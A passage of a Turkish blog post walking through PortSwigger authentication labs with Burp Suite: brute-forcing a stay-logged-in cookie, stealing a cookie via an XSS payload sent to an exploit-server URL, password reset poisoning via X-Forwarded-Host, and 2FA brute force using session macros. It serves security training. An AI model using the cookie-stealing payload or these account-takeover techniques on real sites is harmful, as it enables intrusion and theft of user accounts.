sürebilir; ancak Pro sürümde hızla tamamlanıyor. Aynı saldırıyı Python kodu ile de gerçekleştirmek mümkün.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*S5C2jYgzav5-MOVRPdjDuQ.jpeg" /></figure><p>Atağı başlattıktan sonra, 302 Response kodu alarak başarılı bir şekilde 2FA doğrulama kodunu elde ettim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*C101EpqKOf21fDfQWQkiEw.jpeg" /></figure><p>Elde ettiğim 2FA kodunu Repeater’a gönderiyorum. İstek sonucunda 302 Response kodu alarak Carlos kullanıcısına ait session bilgisine erişiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*6d34ca0KEimUoPKyqZ2xAw.jpeg" /></figure><p>Tarayıcıya giderek, cookie bilgisini elde ettiğim token ile değiştiriyorum ve böylece Carlos hesabına giriş yaparak labı başarılı bir şekilde tamamlamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*vkzTu7tCExAJGKtMy0adEg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*s9ZHx9wK8o8StPVYCPbAqQ.jpeg" /></figure><p><strong>Lab: Brute-forcing a stay-logged-in cookie</strong></p><p>Bu laboratuvar, kullanıcıların tarayıcı oturumlarını kapattıktan sonra bile oturumlarını açık tutmalarına olanak tanır. Bu işlevi sağlamak için kullanılan çerez, kaba kuvvet saldırısına karşı savunmasızdır.</p><p>Laboratuvarı çözmek için, Carlos’un çerezine kaba kuvvet uygulayarak Hesabım sayfasına erişim sağlayın.</p><p>Kimlik bilgileriniz: wiener:peter</p><p>Kurbanın kullanıcı adı: carlos</p><p>Aday şifreleri</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*fm-hOStohEH32BhAzAP5ag.jpeg" /></figure><p>BurpSuite’u aktif hale getirip wiener:peter kullanıcı bilgileriyle giriş yapıyor ve paketi analiz etmek üzere Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*H6Xjhxdp5v3LEohBTzXxeg.jpeg" /></figure><p>Paketi incelediğimde, Response bölümünde “stay-logged-in” yani oturumu açık tut parametresinin dikkatimi çekmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*ch-TCOeCZW3RDepYHuMlpg.jpeg" /></figure><p>BurpSuite’un “Decoder” bölümüne bu veriyi yapıştırdığımda ve Base64 ile decode ettiğimde, karşıma wiener:hash bilgisi çıkmaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*roECm8dCep-K7OMJGdG9oA.jpeg" /></figure><p>Hash’i kırmak için ben CrackStation’ı tercih ettim; fakat Hashcat aracıyla da bu işlem yapılabilir. Hash çözüldüğünde parola olarak peter elde ediliyor. Yani şifrelenmiş veri aslında wiener:peter biçiminde ve şifreleme yöntemi Base64(wiener:MD5(parola)) şeklindedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*PMmuoaUW7tO0v94UZ5T2IQ.jpeg" /></figure><p>Bana verilen parola listesiyle Carlos’a ait oturumu açmak için /my-account dizininde bulunan <strong>stay-logged-in</strong> parametresini içeren paketi <strong>Intruder</strong>’a gönderiyor ve burada bir brute-force atağı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*hDR3-NM8mY7qZIDZunkXCg.jpeg" /></figure><p>Intruder’a gönderdiğim paketteki <strong>session</strong> bilgisini siliyorum, çünkü bu session Wiener kullanıcısına ait. <strong>Stay-logged-in</strong> parametresine brute-force atağı uygulamak için <strong>Add</strong> diyerek parametreyi ekliyorum. Ardından atak türünü <strong>Sniper</strong> olarak seçip, bana verilen parola listesini ekliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*2IuH-Qrd0Pffvwa-52fiLA.jpeg" /></figure><p>Buradaki <strong>stay-logged-in</strong> parametresinin yapısı Base64(wiener:MD5(parola)) olduğu için, <strong>Payload Processing</strong> kısmında önce veriyi <strong>MD5</strong> ile hashliyorum. Ardından kullanıcı adı olan <strong>carlos</strong>’u ekliyorum. Son olarak, veriyi <strong>Base64</strong> ile encode ederek parametreyi tamamlıyor ve atağı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*5zy0xrOagS1GHTooVYXyOQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*l6cGJQPoBgp2L3_ZiZ19vQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ptZ-cwI885bqAs3I0hmKVQ.jpeg" /></figure><p>Atağı başlattığımda başarılı bir şekilde <strong>200 Response</strong> alıyorum ve böylece labı tamamlamış oluyorum. Eğer sayfayı yenilemenize rağmen içerik gelmiyorsa, paket içerisindeki <strong>session</strong> bilgisini alıp tarayıcıdaki <strong>cookie</strong> ile değiştirdiğinizde sorun düzelecektir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*EBbEGUgHQDba-GSoKAa1nA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*GZc2VvVUXiCHgj2vdWP9CQ.jpeg" /></figure><p><strong>Lab: Offline password cracking</strong></p><p>Bu lab, kullanıcının parola hash’ini bir çerezde saklamaktadır. Ayrıca, yorum özelliğinde bir XSS zafiyeti bulunmaktadır.<br> Labı çözmek için Carlos’un <strong>stay-logged-in</strong> çerezini elde edin ve bu çerezi kullanarak Carlos’un parolasını kırın. Ardından, <strong>carlos</strong> kullanıcısı olarak giriş yapın ve “Hesabım” sayfasından hesabını silin.</p><p><strong>Sizin giriş bilgileriniz:</strong> wiener:peter<br> <strong>Hedef kullanıcının adı:</strong> carlos</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*ENh_x92F4c2c8UhKFZxSLA.jpeg" /></figure><p>BurpSuite’i aktif ederek wiener:peter kullanıcı bilgileriyle giriş yapıyorum. Giriş işlemi sırasında /login dizininde <em>stay-logged-in</em> parametresini fark ediyorum. Bu parametreyi analiz edebilmek için isteği Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*t8TFu8Z17MigsK8DwWTAtA.jpeg" /></figure><p>Paketi analiz ettiğimde <em>stay-logged-in</em> parametresi dikkatimi çekiyor. Bu parametrenin encode edilmiş bir kullanıcı bilgisi içerdiğini düşünüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*otjarjAGWFl8ct6LsmhP0g.jpeg" /></figure><p>BurpSuite’in Decoder bölümünde parametreyi Base64 ile decode ettiğimde, içinde <em>wiener</em> kullanıcısına ait bilgi olduğunu görüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*ihBgUanc_8i5tX_qe3NW3A.jpeg" /></figure><p>Wiener kullanıcısına ait parola hash’lenmiş olduğu için, bu hash’i CrackStation sitesine yapıştırarak kolayca çözümledim ve kullanıcıya ait gerçek parolayı elde ettim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*fA2cOUvF3bLUyEhYhc1cnQ.jpeg" /></figure><p>Lab açıklamasında XSS zafiyetinin bulunduğu belirtiliyor. Bu nedenle temel bir test olarak &lt;script&gt;alert(&#39;Bu bir XSS&#39;)&lt;/script&gt; payload’unu deniyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*l4qLPSPsXGmSEU4t5J7q8Q.jpeg" /></figure><p>Denediğim payload başarılı bir şekilde çalıştı ve ekranda alert mesajı görüntülendi. Bu da sistemde gerçekten bir XSS açığı bulunduğunu doğruluyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*4mUYhuUjXGcFcV1To8_-cg.jpeg" /></figure><p>Sunucudan cookie bilgilerini almak için XSS açığını kullanmam gerekiyor. Bunun için aşağıdaki payload’ı hazırladım:</p><p>&lt;script&gt;</p><p>document.location = ‘https://exploit-0a46001c033d3f4380e902ce01020071.exploit-server.net/exploit?cookie=&#39; + document.cookie;</p><p>&lt;/script&gt;</p><p>Bu script, kullanıcıların cookie bilgisini alıp exploit server’ıma gönderiyor. Ardından bu URL’yi kopyalayarak kullanıma hazır hale getiriyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*bocRGb4RiZpcR38bLgnrLQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*dkmn8kHPwvJYgP_n0UU4Aw.jpeg" /></figure><p>Payload’ı başarıyla enjekte ettikten sonra exploit server üzerindeki loglara gidiyorum. Logları incelediğimde, stay-logged-in parametresi içerisinde hedef kullanıcıya ait cookie bilgisinin yer aldığını görüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uq3Jlnr9gejtDg2Vv4kOIw.jpeg" /></figure><p>Elde ettiğim cookie bilgisini BurpSuite’te base64 ile decode ediyorum. Decode işlemi sonucunda, cookie içerisinde Carlos kullanıcısına ait kullanıcı adı ve hashlenmiş parola bilgisini görüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*gXeHEd-iqhDVJoAwEQ8Jsw.jpeg" /></figure><p>Hashlenmiş parolayı çözmek için CrackStation sitesine giderek hash’i çözdüm ve başarılı bir şekilde Carlos’un parolasını elde ettim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*murKEAxWCfayytlWtzbVyw.jpeg" /></figure><p>Giriş sayfasına giderek Carlos kullanıcısı ile sisteme giriş yapıyorum. Ardından Carlos’u silerek labı başarılı bir şekilde tamamlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZEuHYPfL-fU3fcl-TIP2FQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FB9EXhCWeM6_A75Q70od6w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*TMJINf_0YMlrqN0JpKbgfw.jpeg" /></figure><p><strong>Lab: Password reset poisoning via middleware</strong></p><p>Bu laboratuvar, parola sıfırlama zehirlenmesine (password reset poisoning) karşı savunmasızdır. <strong>Carlos</strong> kullanıcısı, kendisine gelen e-postalardaki herhangi bir bağlantıya dikkatsizce tıklayacaktır. Laboratuvarı çözmek için <strong>Carlos</strong> hesabına giriş yapmanız gerekmektedir.<br> Kendi hesabınıza aşağıdaki kimlik bilgilerini kullanarak giriş yapabilirsiniz: <strong>wiener:peter</strong><br>Bu hesaba gönderilen tüm e-postalar, exploit sunucusundaki e-posta istemcisi üzerinden okunabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*_KHfoXwy38XQZ5dVH5y8KQ.jpeg" /></figure><p>Her labda olduğu gibi BurpSuite’i aktif ederek labı başlatıyorum. Bu labda parola sıfırlama işlemi bulunduğundan, <strong>“Forgot Password”</strong> seçeneğini kullanarak wiener kullanıcısının parolasını sıfırlama adımına geçiyorum. Ardından, bana verilen e-posta bağlantısına giderek parola sıfırlama işlemini gerçekleştiriyorum. Bu süreçte önemli olan üç isteği Repeater’a gönderip detaylı olarak incelemeye başlıyorum.</p><p>İlk istek olarak <strong>/forgot-password</strong> dizinine yapılan istekte kullanıcı adı alınarak parola sıfırlama işlemi başlatılıyor. Bu aşamada <strong>X-Forwarded-Host</strong> başlığını ekleyerek isteğin yönlendirme hedefini kendi sunucuma çekmeye çalışıyorum. Normalde uygulama yönlendirmeyi <strong>Origin</strong> header üzerinden yapıyor ve zafiyet de burada ortaya çıkıyor, çünkü uygulama bu başlığı güvenli şekilde doğrulamıyor ve bizim belirttiğimiz değeri kabul ediyor.</p><p>İlk başta kullanıcı adı <strong>wiener</strong> iken, bunu <strong>carlos</strong> olarak değiştirip isteği tekrar gönderiyorum. Bu işlemle aslında Carlos’un parolasını sıfırlamak için ona bir bağlantı içeren e-posta göndermiş oluyoruz. Gönderdiğimiz bağlantı, bizim kontrolümüzdeki sunucuya yönlendirilmiş durumda. Carlos bu linke tıkladığında ise gerçek bir parola sıfırlama sayfası yerine <strong>404 hata kodu</strong> alacak, ancak bu esnada gerekli token bizim loglarımızda tutulmuş olacak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*7t6Qc5Y7nGKpaMnMVtHBsQ.jpeg" /></figure><p>Logları incelediğinde gerçekten saldırının başarılı olduğunu görüyorsun. Farklı bir IP’den gelen istekte, kurbanın bizim gönderdiğimiz <strong>poisoned password reset linkine</strong> tıkladığı net şekilde belli. Bu link, exploit server üzerinden yönlendirilmişti ve isteğin parametrelerinde <strong>forgot-password-token</strong> değerini içeriyor.</p><p>Bu token, uygulamanın parola sıfırlama sürecinde kullandığı <strong>tek seferlik doğrulama anahtarı</strong> olduğu için kritik öneme sahip. Şimdi yapılacak işlem şu:</p><ul><li>Loglardan <strong>forgot-password-token</strong> parametresinin değerini kopyalamak.</li><li>Normal uygulama üzerinde <strong>/forgot-password?token=…</strong> dizinine giderek bu token ile isteği göndermek.</li><li>Yeni parolayı belirleleyerek isteği tamamlamak.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W401k8UARCxooXacxHaeQQ.jpeg" /></figure><p>Bu istek, e-postama gelen parola sıfırlama bağlantısına tıkladıktan sonra elde ettiğim pakettir. Normalde bu pakette <strong>wiener</strong> kullanıcısına ait token bulunuyordu ve bu token ile wiener hesabının parolasını sıfırlayabilirdim. Ancak artık elimde <strong>Carlos</strong> kullanıcısına ait parola sıfırlama tokeni var. Bu nedenle istekteki token değerini Carlos’un tokeni ile değiştirip gönderiyorum ve başarılı bir şekilde parola sıfırlama sayfası açılıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*D2kN8GlE44l5JgkaACFd4A.jpeg" /></figure><p>Üçüncü yakaladığım istek, parola sıfırlama işlemine aittir ve bu işlem token bilgisine göre gerçekleştirilir. Burada, elde ettiğim <strong>Carlos</strong> kullanıcısına ait token değerini isteğe ekliyorum. Ardından parolayı “<strong>test</strong>” olarak değiştiriyorum. Paketi gönderdiğimde başarılı bir şekilde <strong>302 yönlendirme</strong> cevabı alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*tKkJ1XfWBLSaZaZeZxkQTQ.jpeg" /></figure><p>Belirlediğim yeni parola ile <strong>Carlos</strong> kullanıcısına giriş yaptım ve başarılı bir şekilde oturum açıldığını doğruladım. Böylece labı tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*YfoA1zmh3KvLzoSISW9zBg.jpeg" /></figure><p><strong>Lab: Password brute-force via password change</strong></p><p>Bu laboratuvarın parola değiştirme işlevi, brute-force (kaba kuvvet) saldırılarına karşı savunmasızdır.<br> Labı çözmek için verilen parola adayları listesini kullanarak <strong>Carlos</strong> hesabına brute-force saldırısı yapın ve kullanıcının <strong>“Hesabım (My account)”</strong> sayfasına erişin.</p><p>· <strong>Sizin giriş bilgileriniz:</strong> wiener:peter</p><p>· <strong>Hedef kullanıcının kullanıcı adı:</strong> carlos</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*DGztzJ6Ye5_DMFPVHqfrwg.jpeg" /></figure><p>BurpSuite’i aktif hale getirerek laboratuvarı başlatıyorum ve bana verilen <strong>wiener:peter</strong> kullanıcı bilgileriyle giriş yapıyorum. Girişten sonra, parolayı değiştirebileceğim bir sayfa açılıyor. Sayfanın çalışma mantığını anlamak için önce normal bir şekilde parolayı sıfırlama işlemi yapıyorum ve işlem başarılı bir şekilde gerçekleşiyor.</p><p>Sonrasında aklıma gelen diğer senaryo ise, mevcut parolayı yanlış girip yeni parolaları her iki alana da doğru girdiğimde, sistemin beni tekrar giriş sayfasına yönlendirmesi ve 1 dakika bekletmesi oluyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*yiYkzfqp151rT2ziUQ354A.jpeg" /></figure><p>Sisteme tekrar giriş yaptıktan sonra bazı senaryoları test ediyorum. Öncelikle, mevcut parolayı doğru girip yeni parolayı ve yeni parola onayını farklı şekilde girdiğimde, sistem <strong>“yeni şifreler uyuşmuyor”</strong> uyarısını veriyor.</p><p>· <strong>Yeni şifreler eşleşmiyor &amp;&amp; mevcut şifre doğru -&gt; Yeni şifreler eşleşmiyor</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*J8LOunBIERU7YgnRS-XStQ.jpeg" /></figure><p>Diğer bir senaryo ise şöyle: Yeni şifreler eşleşmiyor ve mevcut şifre yanlış olduğunda sistem <strong>“Mevcut şifre yanlış”</strong> çıktısını veriyor. Bu, sistemin parola doğrulama sırasında detaylı bilgi sağladığını, yani hangi bilginin yanlış olduğunu belirttiğini gösteriyor.</p><p>· <strong>Yeni şifreler eşleşmiyor &amp;&amp; mevcut şifre yanlış -&gt; Mevcut şifre yanlış</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*sNiaCqwiZgdv_crQvfWI3A.jpeg" /></figure><p>Bu paketi Intruder’a göndererek Carlos kullanıcısı için bir atak başlatıyorum. Atak türünü <strong>Sniper</strong> olarak seçiyorum çünkü saldırıyı sadece mevcut parolaya yönelik yapacağım. Username kısmına <strong>wiener</strong> yerine <strong>Carlos</strong> yazıyorum ve <strong>Start Attack</strong> diyerek atağı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*aBnlpw4DL1Bi4D1hAWi1Ow.jpeg" /></figure><p>Atak sonunda <strong>Length</strong> değerine baktığımda, <strong>love</strong> parolası için uzunluğun farklı olduğunu görüyorum. <strong>Render</strong> bölümüne baktığımda ise “yeni şifreler eşleşmiyor” uyarısı çıkıyor. Bu da, denenen parolanın doğru olduğunu gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*hX_MG7p4iO5F0eftCl2rxg.jpeg" /></figure><p>Elde ettiğim parola ile birlikte Carlos kullanıcısına başarılı bir şekilde giriş yaptım ve böylece lab başarılı bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*DTKFUh3X5pbeuRu1SW0wSw.jpeg" /></figure><p><strong>Lab: Broken brute-force protection, multiple credentials per request</strong></p><p>Bu laboratuvar, brute-force korumasındaki bir mantık hatası nedeniyle savunmasızdır. Labı çözmek için, Carlos’un parolasını brute-force yöntemiyle kırın ve ardından hesabına erişin.</p><p>Kurbanın kullanıcı adı : carlos</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*lc4erJfZqtU8thTWwbVqNg.jpeg" /></figure><p>Burp Suite’i aktif hale getirerek laboratuvarı başlatıyorum. Giriş ekranında yalnızca kullanıcı adı bulunuyor. Parola listesinde yer alan herhangi bir parolayı girerek denemelere başlıyorum ve bu işlemleri yaparken paketleri analiz etmek için isteği Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*5YS-_V8YwHnWKF1wWAWUKg.jpeg" /></figure><p>Paketi analiz ettiğimde username ve password alanlarının JSON formatında gönderildiğini görüyorum:</p><p>{</p><p>“username”: “carlos”,</p><p>“password”: “123456”</p><p>}</p><p>Veriler JSON olarak iletildiği için birden fazla parolanın aynı anda gönderilip gönderilemeyeceğini test ediyorum. Birden fazla parola ekleyerek isteği tekrar gönderiyorum ve başarılı bir yanıt alıyorum. Bu da bana bu noktada brute force saldırısı yapılabileceğini gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*VyQM_uCk8_AzcK-ifQyOyw.jpeg" /></figure><p>Eğer verilen parola listesini aynı JSON formatında eklersem brute force işlemini başarılı bir şekilde gerçekleştirebilirim. Ancak bu işlemi manuel olarak yapmak oldukça zaman alacağından, süreci otomatikleştirmek için aşağıdaki Python kodunu yazdım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*R-QC-292tMiIJSflq8D2Xw.jpeg" /></figure><p>Python kodunun çıktısı ise aşağıdaki gibidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kyN-YkppcE1PGEbEzj6a9A.jpeg" /></figure><p>Elde ettiğim formatı kullanarak isteği ‘Send’ ile gönderdiğimde, sunucudan 302 yönlendirme yanıtı alıyorum. Bu yönlendirme, girişin başarılı olduğunu gösteriyor ancak hangi parolanın doğru olduğunu bilmiyorum. Bununla birlikte, sunucu bana bir oturum çerezi (cookie) döndürüyor ve bu cookie bilgisini alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*E5P1q9eQjcZtTS7uHLOrJQ.jpeg" /></figure><p>Giriş sayfasına dönerek tarayıcıda ‘Inspect’ menüsünü açıyorum. Buradan <strong>Cookies</strong> sekmesine giderek mevcut oturum çerezini (cookie) elde ettiğim cookie değeriyle değiştiriyorum. Alternatif olarak, bu işlemi kolaylaştırmak için bir <strong>Cookie Editor</strong> eklentisi de kullanılabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*LBBkG9kQS5HO6lk5UOBkEA.jpeg" /></figure><p>Sayfayı yenilediğimde Carlos hesabına başarılı bir şekilde giriş yaparak lab tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*E-0S_8zQz7z4IYcO3gY0VA.jpeg" /></figure><p><strong>Lab: 2FA bypass using a brute-force attack</strong></p><p>Bu laboratuvarın iki faktörlü kimlik doğrulaması (2FA), brute-force saldırılarına karşı savunmasızdır. Elinizde geçerli bir kullanıcı adı ve parola bulunmaktadır, ancak kullanıcının 2FA doğrulama koduna erişiminiz yoktur. Laboratuvarı çözmek için 2FA kodunu brute-force yöntemiyle kırın ve <strong>Carlos</strong>’un hesap sayfasına erişin.</p><p>Mağdurun giriş bilgileri: <strong>carlos:montoya</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*jjm2BrYkN8HlnvpzQLn0wg.jpeg" /></figure><p><strong>NOT:</strong> Bu labı çözmek için öncelikle <strong>BurpSuite Pro</strong> sürümü gerekmektedir.<br> BurpSuite’i aktif hale getirerek bana verilen kullanıcı bilgileri ile sisteme giriş yapıyorum. Giriş yaptıktan sonra, e-posta ile gelen <strong>iki faktörlü doğrulama (2FA)</strong> kodunu girmem isteniyor. Burada rastgele denemeler yaptığımda sistem, <strong>2 hatalı denemeden sonra beni tekrar giriş sayfasına yönlendirmektedir.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*HK85DGFyemSrxbfbjifE6Q.jpeg" /></figure><p>Sistem beni iki denemeden sonra tekrar giriş sayfasına yönlendirdiği için doğrudan brute-force yapma imkanım bulunmamaktadır. Bu nedenle <strong>BurpSuite ayarlarına giderek “Session Handling Rules”</strong> kısmını açıyorum. Burada <strong>“Add”</strong> diyerek yeni bir session kuralı (role) oluşturuyorum.</p><p><strong>Neden bunu yapıyoruz?</strong></p><ul><li>2FA brute-force sırasında her başarısız denemeden sonra oturum sonlandığı için normal brute-force denemeleri işe yaramaz.</li><li>BurpSuite’in <strong>session handling özelliği</strong>, brute-force sırasında her yeni istekten önce oturumu otomatik olarak tekrar başlatmamızı sağlar.</li><li>Yani BurpSuite, belirlediğimiz kural sayesinde önce doğru kullanıcı adı ve şifre ile giriş yapar, ardından brute-force saldırısını 2FA kodu alanında sürdürür.</li><li>Böylece biz manuel olarak sürekli yeniden giriş yapmak zorunda kalmayız, Burp bunu otomatik şekilde yönetir.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HSvi8jVHm7Kb6KI0I7TmlQ.jpeg" /></figure><p>“Session Handling Rule” penceresinde <strong>scope kısmına</strong> geldiğimizde <strong>“Include all URLs”</strong> seçeneğini işaretliyoruz.</p><p><strong>Bunu seçmemizin nedeni:</strong></p><p>· Brute-force denemeleri sırasında oturum açma, 2FA ekranı, doğrulama ve hesap sayfası gibi farklı endpoint’lere istekler gönderilir.</p><p>· Eğer scope’u dar tutarsak sadece belirli URL’lerde kural çalışır, diğerlerinde devreye girmez.</p><p>· “Include all URLs” seçtiğimizde ise bu kural tüm isteklerde geçerli olur ve <strong>oturum yönetimi her adımda sorunsuz şekilde uygulanır.</strong></p><p>Yani bu sayede brute-force saldırısı sırasında BurpSuite, hangi endpoint’e giderse gitsin önce oturumu doğru şekilde başlatıp sonra saldırıyı devam ettirebilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*IdAGAeihx2xEEjXYaTkQiw.jpeg" /></figure><p>“Details” kısmına geldiğimde ise burada “Run a macro” seçiyorum.</p><p>“<strong>Details</strong>” kısmında <strong>“Run a macro”</strong> seçmemizin sebebi:</p><p>· <strong>Macro</strong>, BurpSuite’in önceden kaydedilmiş bir dizi isteği otomatik olarak çalıştırmasını sağlar.</p><p>· Bu lab senaryosunda biz brute-force ile 2FA kodunu kırmaya çalışıyoruz ama sistem 2 yanlış denemeden sonra bizi giriş sayfasına atıyor.</p><p>· Yani brute-force yaparken her defasında <strong>önce tekrar login olup (kullanıcı adı/şifre ile)</strong>, sonra 2FA ekranına geçmemiz gerekiyor.</p><p>· İşte burada <strong>macro</strong> devreye giriyor: Burp bizim yerimize sürekli aynı giriş işlemini otomatik yapıyor ve brute-force saldırısının sürekliliğini sağlıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*T3a1XqdsHFZBN_eYB5HMMA.jpeg" /></figure><p>Bu seçenekten sonra tekrar karşıma bir pencere açılmaktadır. Bu pencerede ise “Add” diyerek yeni bir macro oluşturyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*qla5blRfVGeVn96nkO4kFg.jpeg" /></figure><p>Macro oluştururken BurpSuite bize tüm yakalanan istekleri gösteriyor, ama hepsini almak gerekmiyor. Sadece <strong>saldırının sürekliliği için gerçekten gerekli olan akışı</strong> seçiyorum.</p><p>Bu adımları seçmemdeki mantık şöyledir:</p><p>1. <strong>Login sayfasını getiren GET isteği</strong> → Bu olmadan giriş formu açılmaz, yani sonraki POST isteği hata verebilir.</p><p>2. <strong>Kullanıcı adı ve şifreyi gönderen POST isteği (carlos:montoya)</strong> → Asıl oturum açma isteği, brute-force saldırısı sırasında tekrar tekrar yapılması gereken kısım.</p><p>3. <strong>2FA doğrulama ekranına yönlendiren isteğin GET paketi</strong> → Login’den sonra 2FA ekranına erişmek için gerekli. Eğer bu olmazsa brute-force saldırısı doğrudan çalışmaz.</p><p>Bu üç adımı macro’ya eklemek, BurpSuite’e şunu öğretmiş oluyor:<br> “Her brute-force denemesi yapmadan önce önce login sayfasına git, giriş bilgilerini gönder, 2FA ekranına geç. Sonra brute-force isteğini çalıştıracaktır.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*aWs6v5jYrCTSuOjM8Zj-BQ.jpeg" /></figure><p>Makro oluşturduktan sonra <strong>“Test macro”</strong> seçeneğini çalıştırıyoruz. Bunun amacı, seçtiğimiz isteklerin doğru sırada ilerleyip ilerlemediğini kontrol etmektir. Burada BurpSuite bizim belirlediğimiz login → giriş bilgilerini gönderme → 2FA ekranına yönlendirme adımlarını simüle eder. Eğer makro düzgün tanımlanmışsa bu adımlar sorunsuz şekilde tamamlanır. Böylece brute-force saldırısına başlamadan önce olası hata ve eksiklikleri önceden görmüş oluruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gFR0c-77H4lJuFcDlUipVQ.jpeg" /></figure><p>Brute-force saldırısını başlatabilmek için ilk olarak <strong>2FA kodunu girdiğim isteği</strong> yakalayıp <strong>Intruder’a gönderiyorum</strong>. Burada asıl hedefimiz, doğrulama kodunun bulunduğu parametreyi (örneğin code= kısmını) brute-force denemeleri için değişken hale getirmek. Intruder üzerinde bu alanı seçip payload olarak işaretliyorum. Ardından brute-force saldırısının başarılı olması için gerekli konfigürasyonları yapıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*_vviP_2fhNNwOXxLR_pIWw.jpeg" /></figure><p>Atağı başlattıktan kısa bir süre sonra beklediğim <strong>302 yönlendirme</strong> yanıtını aldım. Bu yanıt, brute-force saldırısının başarılı olduğunu gösteriyordu. Yanıtla birlikte dönen <strong>session cookie</strong>, oturum açma işleminin doğrulandığının en net kanıtıydı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*4KT2hAZEN_CGyY8ubPMpfg.jpeg" /></figure><p>Elde ettiğim <strong>session bilgisini</strong> kullanmak için tarayıcımda <strong>Inspect (F12 veya sağ tık → İncele)</strong> menüsünü açtım. Ardından <strong>Storage → Cookies</strong> bölümüne giderek mevcut session değerini, brute-force sonucunda elde ettiğim yeni session bilgisiyle değiştirdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*rblFVY02clJ1VlaX6WpJww.jpeg" /></figure><p>Sayfayı yenilediğimde, brute-force saldırısı sonucunda elde ettiğim session bilgisiyle <strong>Carlos kullanıcısına başarılı bir şekilde giriş yapmış oldum</strong>. Böylece laboratuvar senaryosunu başarıyla tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*BKcHh_-0lRLPuexFKTnuMg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d55f4c209da2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Authentication Lab Çözümleri 1]]></title>
